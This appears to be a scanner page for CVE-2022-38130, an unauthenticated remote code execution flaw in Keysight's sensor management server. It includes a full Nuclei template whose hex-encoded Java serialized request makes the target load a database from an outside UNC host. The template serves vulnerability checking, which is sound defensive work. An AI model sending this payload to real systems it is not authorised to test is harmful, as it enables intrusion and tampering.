KeySight RF - smsRestoreDatabaseZip UNC path to Remote Code Execution

criticalseverity

9.8CVSS score

56.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The com.keysight.tentacle.config.ResourceManager.smsRestoreDatabaseZip() method is used to restore the HSQLDB database used in SMS. It takes the path of the zipped database file as the single parameter. An unauthenticated, remote attacker can specify an UNC path for the database file (i.e., \\<attacker-host>\sms\<attacker-db.zip>), effectively controlling the content of the database to be restored.

Impact

Unauthenticated attackers can control database content, potentially leading to data tampering or execution of malicious code.

Fix

Implement validation and sanitization of the database file path parameter to restrict to trusted locations.

How to confirm it

Send: POST /server/service/smsConfigServiceHttpInvoker
Positive when: status_code == 200 and contains(interactsh_protocol, 'dns') and contains(content_type, 'application/x-java-serialized-object') and contains_all(body, 'org.springframework','RemoteInvocationResult')

Run it with nuclei: nuclei -id CVE-2022-38130 -u <target>

The full check

id: CVE-2022-38130

info:
  name: KeySight RF - smsRestoreDatabaseZip UNC path to Remote Code Execution
  author: daffainfo,jjcho
  severity: critical
  description: |
    The com.keysight.tentacle.config.ResourceManager.smsRestoreDatabaseZip() method is used to restore the HSQLDB database used in SMS. It takes the path of the zipped database file as the single parameter. An unauthenticated, remote attacker can specify an UNC path for the database file (i.e., \\<attacker-host>\sms\<attacker-db.zip>), effectively controlling the content of the database to be restored.
  impact: |
    Unauthenticated attackers can control database content, potentially leading to data tampering or execution of malicious code.
  remediation: |
    Implement validation and sanitization of the database file path parameter to restrict to trusted locations.
  reference:
    - https://www.tenable.com/security/research/tra-2022-28
    - https://www.sonicwall.com/blog/keysight-rf-sensor-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38130
    epss-score: 0.56824
    epss-percentile: 0.99072
    cwe-id: CWE-89
    cpe: cpe:2.3:a:keysight:sensor_management_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keysight
    product: sensor_management_server
  tags: cve,cve2022,keysight,sensor_management_server,rce,vkev,oast,oob,vuln

variables:
  cmd: '\\\\{{interactsh-url}}\\test'
  serialized_str: '{{concat(hex_decode("aced0005737200356f72672e737072696e676672616d65776f726b2e72656d6f74696e672e737570706f72742e52656d6f7465496e766f636174696f6e5f6c8b9ff60a110a0200045b0009617267756d656e74737400135b4c6a6176612f6c616e672f4f626a6563743b4c000a6174747269627574657374000f4c6a6176612f7574696c2f4d61703b4c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000017400"), hex_decode(dec_to_hex(len(cmd))), cmd, hex_decode("70740015736d73526573746f726544617461626173655a6970757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007870"))}}'

http:
  - raw:
      - |
        POST /server/service/smsConfigServiceHttpInvoker HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-java-serialized-object

        {{serialized_str}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(interactsh_protocol, 'dns')"
          - "contains(content_type, 'application/x-java-serialized-object')"
          - "contains_all(body, 'org.springframework','RemoteInvocationResult')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from